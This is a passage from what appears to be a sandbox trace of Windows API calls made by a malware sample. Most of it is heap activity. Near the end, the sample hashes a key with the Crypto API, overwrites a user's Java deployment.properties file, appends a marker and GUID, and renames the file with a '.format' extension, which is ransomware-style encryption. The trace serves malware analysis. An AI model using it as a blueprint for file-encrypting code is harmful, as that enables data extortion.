(HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.278] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0069.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0069.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0069.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.278] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0069.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31757d8 [0069.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0069.278] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0069.279] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.279] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31757d8 | out: hHeap=0x5d0000) returned 1 [0069.279] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0069.279] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0069.279] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.279] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0069.279] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0069.279] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0069.279] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.279] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0069.279] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0069.279] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0069.279] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0069.279] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.279] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0069.279] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.279] PathFindFileNameW (pszPath="") returned="" [0069.279] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.279] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.280] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.280] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.280] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa1ea6db0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfec5c570, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="deployment.properties", cAlternateFileName="DEPLOY~1.PRO")) returned 1 [0069.280] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.280] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd6) returned 0x31021f8 [0069.280] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.280] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties") returned=".properties" [0069.280] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.281] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=719) returned 1 [0069.281] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.283] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x2a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.283] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.285] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0069.285] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0069.285] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.285] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x2cf, lpOverlapped=0x0) returned 1 [0069.285] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.285] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0069.285] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.285] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.285] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0069.286] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.286] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.286] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.286] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0069.286] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.286] GetLastError () returned 0x0 [0069.286] CryptDestroyHash (hHash=0x31befa0) returned 1 [0069.286] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0069.286] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.286] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2d0) returned 0x328dbb8 [0069.286] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0069.286] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0069.286] WriteFile (in: hFile=0x5c8, lpBuffer=0x328dbb8*, nNumberOfBytesToWrite=0x2ca, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x328dbb8*, lpNumberOfBytesWritten=0x38cfb24*=0x2ca, lpOverlapped=0x0) returned 1 [0069.286] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328dbb8 | out: hHeap=0x5d0000) returned 1 [0069.286] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x2cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.286] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.286] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0069.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0069.286] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0069.287] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0069.287] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.287] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0069.287] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0069.287] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.287] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.287] CloseHandle (hObject=0x5c8) returned 1 [0069.288] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185980 [0069.288] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0069.288] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0069.288] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties.format")) returned 1 [0069.288] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.288] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.289] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31021f8 | out: hHeap=0x5d0000) returned 1 [0069.289] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0069.289] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.289] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee680 [0069.289] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfc) returned 0x327dc68 [0069.289] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee5d8 [0069.290] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8c58 [0069.290] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185980 [0069.290] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185a48 [0069.290] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185e30 [0069.290] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185ef8 [0069.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31eddf8 | out: hHeap=0x5d0000) returned 1 [0069.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3146a70 | out: hHeap=0x5d0000) returned 1 [0069.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185ca0 | out: hHeap=0x5d0000) returned 1 [0069.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185d68 | out: hHeap=0x5d0000) returned 1 [0069.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185b10 | out: hHeap=0x5d0000) returned 1 [0069.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185bd8 | out: hHeap=0x5d0000) returned 1 [0069.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0069.290] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31eddf8 [0069.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee680 | out: hHeap=0x5d0000) returned 1 [0069.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.290] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tmp", cAlternateFileName="")) returned 1 [0069.290] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.290] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2f80 [0069.290] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2ee8 [0069.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2f80 | out: hHeap=0x5d0000) returned 1 [0069.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.290] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, 